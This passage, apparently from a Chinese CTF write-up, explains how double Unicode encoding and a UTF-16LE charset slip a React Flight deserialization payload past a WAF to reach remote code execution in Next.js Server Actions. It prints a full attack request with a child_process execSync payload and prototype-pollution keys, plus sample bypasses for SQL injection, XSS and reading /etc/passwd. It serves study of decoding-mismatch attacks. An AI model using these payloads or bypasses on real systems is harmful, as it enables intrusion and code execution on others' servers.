↓ 再编码一次:\u007b\u0022\u005c\u0075\u0030\u0030\u0035\u0066...

WAF处理流程

复制代码
接收:\u007b\u0022\u005c\u0075\u0030\u0030\u0035\u0066...(双重编码)
  ↓
解码一次:{"\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065": ...}(单层编码)
  ↓
黑名单检查:含\u005f\u0072...?不含!→ 放行!
  ↓
转发给Next.js

Next.js处理

复制代码
接收:{"\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065": ...}(单层编码)
  ↓
再解码一次:{"_response": ...}(原始恶意代码)
  ↓
执行 → RCE成功!

图解双重编码

复制代码
你的输入                    WAF看到的               Next.js看到的
─────────                   ───────────            ─────────────
\u007b                    {                       {
  \u0022                    "                       "
    \u005c                    \                       _
      \u0075                    u                       r
        \u0030                  0                       e
          \u0030                0                       s
            \u0035              5                       p
              \u0066            f                       o
                \u0072          r                       n
                  \u0065        e                       s
                    \u0073      s                       e
                      \u0070    p                       :
                      ...    ...                     ...

实际解码后:                 实际解码后:
第一层:\u007b = {          第一层:\u005f = _
第二层:\u005c\u0075...    第二层:直接就是原始字符

另一种绕过:UTF-16LE编码

原理相同,换种编码方式

WAF只检查Unicode解码 ,但后端支持多种编码

复制代码
WAF:我只懂Unicode解码,其他编码我不认识,直接放行
Next.js:我支持utf8, utf16le, latin1, base64, hex, ascii...

具体操作

1. 构造正常Payload

复制代码
{
  "_response": {
    "_prefix": "require('child_process').execSync('id')"
  }
}

2. 整体转为UTF-16LE字节

复制代码
{ → 0x7B 0x00
" → 0x22 0x00
_ → 0x5F 0x00
...

3. 在HTTP请求中声明编码

复制代码
Content-Disposition: form-data; name="0"
Content-Type: text/plain; charset=utf16le  ← 关键!告诉后端用什么解码

[UTF-16LE编码的二进制数据]

4. WAF处理

复制代码
看到Content-Type: text/plain; charset=utf16le
但WAF只检查Unicode解码 → 不认识UTF-16LE → 直接放行原始字节

5. Next.js处理

看到charset=utf16le → 用UTF-16LE解码 → 还原成原始JSON → 执行


两种绕过方式对比

方式 原理 优点 缺点
双重Unicode编码 利用解码次数差 纯文本,易构造 体积翻倍
UTF-16LE编码 利用编码类型差 一次编码即可 需要二进制处理

关键思维:解码不一致攻击

复制代码
┌─────────────────────────────────────────┐
│           解码不一致攻击模型              │
├─────────────────────────────────────────┤
│  组件A解码方式 ≠ 组件B解码方式           │
│         ↓                               │
│  构造Payload:在A看来是安全的            │
│              在B看来是恶意的             │
│         ↓                               │
│           绕过成功!                     │
└─────────────────────────────────────────┘

其他常见场景

场景 A组件 B组件 利用方式
SQL注入 WAF MySQL id=1%2520union → WAF看%2520,MySQL看union
XSS 前端过滤 浏览器 <scr%00ipt> → 前端认scr,浏览器认script
命令执行 安全软件 Bash cat$IFS/etc/passwd → 软件认字符串,Bash认空格

本题完整Payload结构(双重Unicode编码)

复制代码
POST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----mioqwq
Next-Action: x

------mioqwq
Content-Disposition: form-data; name="0"

\u007b\u000a\u0020\u0020\u0022\u005c\u0075\u0030\u0030\u0037\u0034...  ← 双重编码的JSON
------mioqwq
Content-Disposition: form-data; name="1"

"$@0"
------mioqwq
Content-Disposition: form-data; name="2"

[]
------mioqwq--

解码流程

复制代码
WAF接收:\u007b\u000a...(双重编码)
  ↓ Unicode解码一次
WAF检查:{"\u0074\u0068\u0065\u006e": ...}(单层,无敏感词)→ 放行
  ↓ 转发
Next.js接收:{"\u0074\u0068\u0065\u006e": ...}(单层)
  ↓ 再Unicode解码一次
Next.js执行:{"then": "$1:__proto__:then", "_response": {...}} → RCE!

总结:编码绕过的核心公式

Payload = (你的恶意代码) × (A的解码次数) ÷ (B的解码次数)

情况 公式 结果
A解码1次,B解码2次 编码2次 A看到安全,B看到恶意 ✓
A不解码,B解码 任意编码 A看到乱码/原文,B看到恶意 ✓
A解码,B不解码 不编码或编码1次 看具体过滤

本题 :WAF解码1次,Next.js解码2次 → 需要编码2次

什么时候二次编码有效?

只有当满足以下两个条件时,二次编码才可能成功:

表格

条件 说明
1. WAF 只解码一次 WAF 拿到请求后,做一次 urldecode(),然后检测关键词。
2. 后端会解码两次(或更多) 应用代码在 WAF 之后又做了一次(或多次)urldecode(),最终还原出原始 payload。

🧩 这种"WAF 解一层,后端解两层"的处理层数不一致,才是二次编码绕过的根本原因。

关键纠正 :WAF检查完后,转发的是原始请求,不是解码后的内容!

两次解码的具体来源

复制代码
┌─────────────────────────────────────────────────────────┐
│  第一次解码:HTTP请求体解析(Node.js/Next.js内置)        │
│  Content-Type: multipart/form-data                       │
│  解析表单数据时,自动处理字符编码                         │
├─────────────────────────────────────────────────────────┤
│  第二次解码:React Flight协议解析(应用层)               │
│  解析name="0"字段的JSON内容时                            │
│  对JSON字符串值进行Unicode转义解码                        │
└─────────────────────────────────────────────────────────┘

详细流程图解

原始请求(你发送的)

复制代码
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----mioqwq

------mioqwq
Content-Disposition: form-data; name="0"

{"\u0074\u0068\u0065\u006e": "\u0024\u0031\u003a..."}  ← 单层Unicode编码
------mioqwq--

第一次解码:HTTP层

复制代码
// Next.js接收HTTP请求
// 解析 multipart/form-data

const formData = await request.formData();
// formData.get("0") 返回:
// '{"\\u0074\\u0068\\u0065\\u006e": "\\u0024\\u0031\\u003a..."}'

// 注意:HTTP解析把 \u 变成了 \\u(转义了反斜杠)
// 或者如果声明了charset=utf16le,会按UTF-16LE解码

关键点 :HTTP层根据Content-Type做字符集解码,但不会解析\uXXXX这种JSON Unicode转义。


第二次解码:React Flight协议层

复制代码
// Next.js拿到表单字段值后
// 进入 React Server Actions / Flight 协议处理

const payload = formData.get("0"); 
// payload = '{"\\u0074\\u0068\\u0065\\u006e": ...}'

// Flight协议解析JSON,并对字符串值进行Unicode解码
const parsed = JSON.parse(payload); 
// 或者 Flight 特有的解码逻辑

// 结果:
parsed.then === "$1:__proto__:then"  // \u0074\u0068\u0065\u006e 解码为 then

为什么Flight协议要二次解码?

这是React的序列化协议设计

复制代码
// React Flight 协议用于 Server Actions
// 它需要在JSON中传输特殊对象、Promise、Symbol等

// 传输时的编码:
const encoded = {
  "then": "$1:__proto__:then",  // 实际传输为 \u0074\u0068\u0065\u006e 等
  "status": "resolved_model",
  "_response": {...}
}

// 接收时解码:
// 1. HTTP层:字节 → 字符串
// 2. Flight层:字符串中的\uXXXX → 实际字符

设计目的:确保特殊字符在HTTP传输中不会被破坏,同时支持复杂的JavaScript对象序列化。


对比:普通JSON vs Flight协议

场景 解码次数 说明
普通JSON API 1次 HTTP解析后,JSON.parse不再处理\u
React Flight 2次 HTTP解析 + Flight专用Unicode解码
本题WAF 1次 只做了unicode_escape解码
相关推荐
灵感__idea5 小时前
Hello 算法:众里寻她千“百度”
前端·javascript·算法
袋鼠云数栈UED团队7 小时前
基于 Lexical 实现变量输入编辑器
前端·javascript·架构
cipher7 小时前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
亦妤7 小时前
JS执行机制、作用域及作用域链
javascript
SuperEugene9 小时前
表单最佳实践:从 v-model 到自定义表单组件(含校验)
前端·javascript·vue.js
不会敲代码19 小时前
React性能优化:深入理解useMemo和useCallback
前端·javascript·react.js
YukiMori2311 小时前
一个有趣的原型继承实验:为什么“男人也会生孩子”?从对象赋值到构造函数继承的完整推演
前端·javascript
摸鱼的春哥11 小时前
惊!黑客靠AI把墨西哥政府打穿了,海量数据被黑
前端·javascript·后端
小兵张健11 小时前
Playwright MCP 截图标注方案调研(推荐方案1)
前端·javascript·github
我叫黑大帅14 小时前
Vue3和Uniapp的爱恨情仇:小白也能懂的跨端秘籍
前端·javascript·vue.js